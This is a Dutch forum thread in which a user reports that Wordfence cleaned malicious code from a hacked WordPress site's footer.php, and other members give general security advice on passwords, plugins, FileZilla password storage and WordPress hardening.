SuperKevin schreef op zondag 14 juli 2013 @ 12:36:
Misschien dat je Wordfence kunt installeren en draaien. Deze kan je WP files controleren op juistheid.
Deze zal al je files en plugins scannen en tegen het origineel aanhouden. Zodra hij iets gevonden heeft kan hij het ook fixen voor je.

Bedankt voor deze tip! Dit heeft het probleem verholpen. De footer.php was inderdaad vervuild, alle rare lettercombi's zijn door wordfence verwijderd en de footer is weer schoon :-)

Ik heb die rare nieuwe beheerder verwijderd, het wachtwoord veranderd en ik hoop dat het nu schoon blijft.

Allen bedankt voor het meedenken en tips, was een vervelend gevoel om bij je ingebroken te zijn en het was erg prettig om m.b.v. de GoT community het te verhelpen :-)

[TheNephilim]

Ben dit al eerder tegengekomen bij klanten van ons. Over het algemeen is dan óf de FTP account óf de beheerders account gecracked. Dus zorg voor fatsoenlijke (lange) wachtwoorden voor FTP en de beheerdersaccount. Gebruik ook geen 'admin' als accountnaam voor je beheerder.

Verder zou ik proberen die enorme lijst plugins in te korten. Kijk wat je echt nodig hebt en gooi de rest weg. Wij gebruiken hier een handjevol plugins, meestal niet meer dan drie, waarvan we zeker weten dat ze te vertrouwen zijn.

Ook belangrijk, Wordpress, Theme en plugin files opnieuw uploaden of checken. Er is een kans dat er meer bestanden geïnfecteerd zijn met malafide code en zo je website op den duur weer besmetten.

[vandermark]

Het is inderdaad een erg lange lijst maar ik gebruik ze eigenlijk allemaal...

Ik ben niet dermate handig in Wordpress dat ik veel zaken zelf kan programmeren en ben dus ook afhankelijk van plugins voor bepaalde functionaliteiten. Ik probeer wel plugins te kiezen die veel gebruikt worden en recent zijn geupdate & actief onderhouden worden. Zelfde geldt voor mijn theme: die is ook erg actief met community.

Edit: twee verwijders die ik niet meer gebruikte

[ Voor 6% gewijzigd door vandermark op 15-07-2013 21:30 ]

[Loadichus]

Wellicht verstandig om nog even deze plugin te downloaden: Better WP Security

Als je al geen "Admin" username hebt en je standaard table prefix veranderd dan tackle je al veel van de standaard hacks.

[-DarkShadow-]

Sla je wachtwoorden niet op in Filezilla. Filezilla slaat de wachtwoorden plain text op. Malware en virussen kunnen je wachtwoorden simpel lezen en doorsturen.

http://trac.filezilla-project.org/ticket/5530

[Verwijderd]

Hier ook wat basis security dingen:

http://codex.wordpress.org/Hardening_WordPress

Verder zou ik niet lukraak weer extra (security) plugins sintalleren, elke plugin is er 1 teveel want dat is het gewoon met Wordpress (en zal wel zo blijven ).

40% van de plugins voor Wordpress zijn vulnerable (2 van de 5) dus tel uit je winst.

[ Voor 18% gewijzigd door Verwijderd op 20-07-2013 15:09 ]

[MueR]

Goed, we kunnen wel door blijven gaan met tips geven, maar met een beetje zoekwerk kan TS dat zelf ook. Uiteindelijk blijft WP, net als Joomla en al die andere grote pakketten, een grote bende en moet je actief patchen om de securityleaks te blijven dichten, aangezien iedereen actief kan gaan zoeken naar lekken. En aangezien iedereen en zijn grootmoeder denkt te kunnen programmeren en plugins maakt, blijft dat feestje doorgaan. Ik ga maar een einde aan dit topic maken.